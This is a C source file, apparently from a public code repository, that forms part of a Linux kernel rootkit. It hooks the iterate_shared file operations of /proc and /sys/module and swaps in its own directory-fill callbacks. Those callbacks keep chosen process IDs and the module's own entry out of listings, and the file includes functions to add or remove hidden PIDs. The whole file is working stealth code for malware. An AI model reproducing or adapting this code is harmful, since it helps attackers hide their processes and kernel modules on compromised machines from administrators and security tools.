-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathhidefs.c
132 lines (108 loc) · 3.34 KB
/
hidefs.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
#include "hidefs.h"
extern u8 module_hidden;
LIST_HEAD(hidden_pid_list);
struct semaphore hidden_pid_list_sem;
struct hidden_pid_t
{
pid_t pid;
struct list_head list;
};
// Vars for proc manipulation
int (*orig_proc_iterate_shared)(struct file *, struct dir_context *);
int (*orig_sys_iterate_shared)(struct file *, struct dir_context *);
int (*orig_filldir)(struct dir_context *, const char *, int, loff_t, u64,
unsigned);
int (*orig_sys_filldir)(struct dir_context *, const char *, int, loff_t, u64,
unsigned);
int rk_proc_filldir(struct dir_context *ctx, const char *proc_name, int len,
loff_t off, u64 ino, unsigned int d_type)
{
long pid = 0;
kstrtol(proc_name, 10, &pid);
if (pid != 0)
{
if (is_hidden_proc(pid) && !is_hidden_proc(current->pid))
{
return 0;
}
}
if (module_hidden && (strncmp(proc_name, PROCFILE_NAME, strlen(PROCFILE_NAME) - 1) == 0))
return 0;
return orig_filldir(ctx, proc_name, len, off, ino, d_type);
}
int rk_sys_filldir(struct dir_context *ctx, const char *proc_name, int len,
loff_t off, u64 ino, unsigned int d_type)
{
if (module_hidden && (strncmp(proc_name, PROCFILE_NAME, strlen(PROCFILE_NAME) - 1) == 0))
return 0;
return orig_sys_filldir(ctx, proc_name, len, off, ino, d_type);
}
int rk_proc_iterate_shared(struct file *file, struct dir_context *ctx)
{
orig_filldir = ctx->actor;
*(filldir_t *)&ctx->actor = rk_proc_filldir;
return orig_proc_iterate_shared(file, ctx);
}
int rk_sys_iterate_shared(struct file *file, struct dir_context *ctx)
{
orig_sys_filldir = ctx->actor;
*(filldir_t *)&ctx->actor = rk_sys_filldir;
return orig_sys_iterate_shared(file, ctx);
}
int hidefs_init(void)
{
FM_INFO("Init hidefs");
SET_FOP(iterate_shared, "/proc", rk_proc_iterate_shared, orig_proc_iterate_shared);
SET_FOP(iterate_shared, "/sys/module", rk_sys_iterate_shared, orig_sys_iterate_shared);
sema_init(&hidden_pid_list_sem, 1);
return 0;
}
int hidefs_clean(void)
{
UNSET_FOP(iterate_shared, "/proc", orig_proc_iterate_shared);
UNSET_FOP(iterate_shared, "/sys/module", orig_sys_iterate_shared);
return 0;
}
void hide_proc(pid_t pid)
{
struct hidden_pid_t *hidden_pid;
hidden_pid = kmalloc(sizeof(struct hidden_pid_t), GFP_KERNEL);
hidden_pid->pid = pid;
INIT_LIST_HEAD(&(hidden_pid->list));
down(&hidden_pid_list_sem);
list_add(&hidden_pid->list, &hidden_pid_list);
up(&hidden_pid_list_sem);
}
void unhide_proc(pid_t pid)
{
struct list_head *pos = NULL;
struct hidden_pid_t *hidden_pid = NULL;
list_for_each(pos, &hidden_pid_list)
{
hidden_pid = list_entry(pos, struct hidden_pid_t, list);
if (hidden_pid->pid == pid)
{
down(&hidden_pid_list_sem);
list_del(&hidden_pid->list);
up(&hidden_pid_list_sem);
kfree(hidden_pid);
return;
}
}
}
bool is_hidden_proc(pid_t pid)
{
struct list_head *pos = NULL;
struct hidden_pid_t *hidden_pid = NULL;
if (!module_hidden)
return 0;
list_for_each(pos, &hidden_pid_list)
{
hidden_pid = list_entry(pos, struct hidden_pid_t, list);
if (hidden_pid->pid == pid)
{
return 1;
}
}
return 0;
}